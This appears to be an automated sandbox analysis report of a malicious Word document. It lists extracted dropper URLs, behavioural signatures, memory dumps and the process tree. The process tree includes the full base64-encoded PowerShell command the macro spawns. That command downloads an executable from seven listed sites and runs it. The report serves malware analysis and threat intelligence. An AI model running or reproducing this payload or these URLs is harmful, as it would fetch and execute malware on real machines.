Analysis
- max time kernel
135s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
04/05/2024, 12:38
General
- Target 12c5900f12c7b04c3448559c1615a675_JaffaCakes118.doc
- Size 224KB
- Sample240504-pvjrsaec31
- SHA256 8b1e85e899250ae238664c29df61c908610d31299f75ab0da17ab24d8e89725e
Malware Config
Extracted
-
ps1
-
exe.dropper
http://banglagoogle.com/wp-admin/o3H7uE5/
-
exe.dropper
http://glassesnepal.com/gxlaf/j/
-
exe.dropper
http://propertywatch.ng/alfacgiapi/K5/
-
exe.dropper
https://cleanwaterarizona.com/wp-content/OQ8/
-
exe.dropper
http://91madou.xyz/r3es/nle/
-
exe.dropper
https://themedicann.com/wp-content/OWxv/
-
exe.dropper
https://maflare.com/wp-includes/mNwd/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 7 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\12c5900f12c7b04c3448559c1615a675_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABRAGkAOQBpADcAYgBvAD0AKAAoACcATQBfACcAKwAnAGYAcAAnACkAKwAoACcAYQBpACcAKwAnAGEAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAJwArACcAdABlAG0AJwApACAAJABlAG4AVgA6AFQARQBtAFAAXAB3AE8AUgBkAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABEAGkAUgBFAEMAdABvAHIAeQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBFAEMAYABVAGAAUgBJAFQAWQBQAGAAUgBPAHQATwBgAGMAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAKAAnAHMAMQAnACsAJwAyACwAJwApACsAKAAnACAAdAAnACsAJwBsAHMAJwApACsAKAAnADEAMQAnACsAJwAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFQAcQB0AHkAZQB4AGMAIAA9ACAAKAAnAFcAJwArACgAJwBuADkAaAAnACsAJwBoAHUAJwApACsAJwBmADcAJwApADsAJABUAF8AOAAwAGsAeQB4AD0AKAAnAFYAJwArACgAJwBiACcAKwAnADgAeQBiAGIAJwArACcAdQAnACkAKQA7ACQAUAB0AGsAeABvADUAeAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwBnAFYAJwArACcAeAB3AG8AJwArACcAcgAnACkAKwAoACcAZAAnACsAJwBnAFYAeAAnACkAKwAoACcAMgAnACsAJwAwADEAOQBnACcAKQArACcAVgB4ACcAKQAuACIAUgBFAHAAbABhAGAAQwBlACIAKAAoACcAZwBWACcAKwAnAHgAJwApACwAJwBcACcAKQApACsAJABUAHEAdAB5AGUAeABjACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABRAGYAbwB5AGkAYgB0AD0AKAAoACcAWgA0ACcAKwAnADIAegA3ACcAKQArACcAZgBjACcAKQA7ACQARABmAGwAdAAxAHIAZwA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgB3AEUAYgBjAEwASQBFAG4AdAA7ACQAUgBuADQAMQBtAHIAMAA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACcAcAAnACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwBiAGEAbgBnAGwAJwArACcAYQAnACkAKwAoACcAZwBvACcAKwAnAG8AJwApACsAJwBnAGwAJwArACgAJwBlACcAKwAnAC4AYwBvACcAKQArACgAJwBtAC8AJwArACcAdwBwAC0AYQAnACkAKwAoACcAZAAnACsAJwBtAGkAJwApACsAKAAnAG4ALwBvACcAKwAnADMASAA3AHUAJwApACsAJwBFACcAKwAnADUALwAnACsAKAAnACoAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwBnACcAKQArACgAJwBsAGEAcwAnACsAJwBzAGUAJwApACsAKAAnAHMAbgBlAHAAYQBsAC4AYwAnACsAJwBvAG0AJwArACcALwBnAHgAbABhACcAKwAnAGYALwAnACsAJwBqACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBwACcAKwAnAHIAJwApACsAJwBvACcAKwAnAHAAZQAnACsAKAAnAHIAdAB5ACcAKwAnAHcAJwApACsAJwBhACcAKwAoACcAdABjAGgAJwArACcALgBuACcAKwAnAGcALwBhAGwAJwArACcAZgAnACsAJwBhAGMAZwAnACkAKwAoACcAaQAnACsAJwBhAHAAJwApACsAKAAnAGkAJwArACcALwBLADUAJwApACsAKAAnAC8AKgAnACsAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACcALwAvAGMAJwArACcAbABlACcAKQArACgAJwBhACcAKwAnAG4AdwBhACcAKQArACgAJwB0AGUAcgBhAHIAJwArACcAaQB6AG8AJwArACcAbgBhACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACsAJwBwAC0AYwBvACcAKwAnAG4AdABlACcAKQArACgAJwBuAHQAJwArACcALwBPACcAKwAnAFEAOAAvACcAKwAnACoAaAB0ACcAKwAnAHQAcAA6AC8AJwArACcALwA5ADEAbQBhACcAKwAnAGQAJwApACsAKAAnAG8AdQAuACcAKwAnAHgAJwApACsAJwB5ACcAKwAoACcAegAvAHIAMwBlACcAKwAnAHMAJwApACsAJwAvACcAKwAoACcAbgBsACcAKwAnAGUALwAqACcAKwAnAGgAdAB0AHAAJwArACcAcwAnACkAKwAoACcAOgAnACsAJwAvAC8AJwArACcAdABoAGUAJwApACsAJwBtAGUAJwArACcAZAAnACsAJwBpAGMAJwArACgAJwBhAG4AJwArACcAbgAuAGMAJwArACcAbwBtAC8AdwBwAC0AYwAnACkAKwAoACcAbwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8ATwBXACcAKQArACgAJwB4AHYAJwArACcALwAnACkAKwAnACoAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnAHMAJwApACsAKAAnADoALwAvACcAKwAnAG0AJwApACsAKAAnAGEAZgBsAGEAcgBlACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAHAAJwArACcALQBpACcAKwAnAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzACcAKwAnAC8AbQBOAHcAJwApACsAJwBkACcAKwAnAC8AJwApAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEIAdABmAGMAcwB6AGgAPQAoACgAJwBOAGwAJwArACcAaABnAGUAJwApACsAJwA3ADUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQASABnAGYAeQBmAHYAawAgAGkAbgAgACQAUgBuADQAMQBtAHIAMAApAHsAdAByAHkAewAkAEQAZgBsAHQAMQByAGcALgAiAEQAbwBXAE4AYABMAG8AYABBAEQAYABGAGkATABlACIAKAAkAEgAZwBmAHkAZgB2AGsALAAgACQAUAB0AGsAeABvADUAeAApADsAJABKAGMAdQBvADIAaABzAD0AKAAnAEwAJwArACgAJwByAF8AJwArACcAcwA5ADkAaQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABQAHQAawB4AG8ANQB4ACkALgAiAGwAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAzADQAMgA1ACkAIAB7ACYAKAAnAEkAJwArACcAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQB0AGUAbQAnACkAKAAkAFAAdABrAHgAbwA1AHgAKQA7ACQAVgB3AHQAOABzAHcAMAA9ACgAJwBCAGYAJwArACcAOQA2ACcAKwAoACcAbQBsACcAKwAnAGMAJwApACkAOwBiAHIAZQBhAGsAOwAkAEsAbAA0AHYAeQBuADYAPQAoACcATAAnACsAKAAnAHcAJwArACcAYQB6ACcAKQArACgAJwAxAG8AJwArACcAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBoAGwAawBrAHEAOAA9ACgAJwBQAHIAJwArACgAJwB5AGMAdgAnACsAJwA2AGUAJwApACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
iso690.xsl
__PSScriptPolicyTest_iyttk3tw.liv.ps1
memory/2740-84-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2740-90-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2740-83-0x00000223241A0000-0x00000223241C2000-memory.dmp
memory/2868-16-0x00007FFCE6A00000-0x00007FFCE6A10000-memory.dmp
memory/2868-29-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-8-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-7-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-9-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-12-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-14-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-15-0x00007FFCE6A00000-0x00007FFCE6A10000-memory.dmp
memory/2868-13-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-11-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-10-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-0-0x00007FFCE8CD0000-0x00007FFCE8CE0000-memory.dmp
memory/2868-28-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-6-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-4-0x00007FFCE8CD0000-0x00007FFCE8CE0000-memory.dmp
memory/2868-5-0x00007FFD28CED000-0x00007FFD28CEE000-memory.dmp
memory/2868-1-0x00007FFCE8CD0000-0x00007FFCE8CE0000-memory.dmp
memory/2868-3-0x00007FFCE8CD0000-0x00007FFCE8CE0000-memory.dmp
memory/2868-2-0x00007FFCE8CD0000-0x00007FFCE8CE0000-memory.dmp
memory/2868-573-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-574-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-575-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp
memory/2868-597-0x00007FFCE8CD0000-0x00007FFCE8CE0000-memory.dmp
memory/2868-598-0x00007FFCE8CD0000-0x00007FFCE8CE0000-memory.dmp
memory/2868-596-0x00007FFCE8CD0000-0x00007FFCE8CE0000-memory.dmp
memory/2868-599-0x00007FFCE8CD0000-0x00007FFCE8CE0000-memory.dmp
memory/2868-600-0x00007FFD28C50000-0x00007FFD28E45000-memory.dmp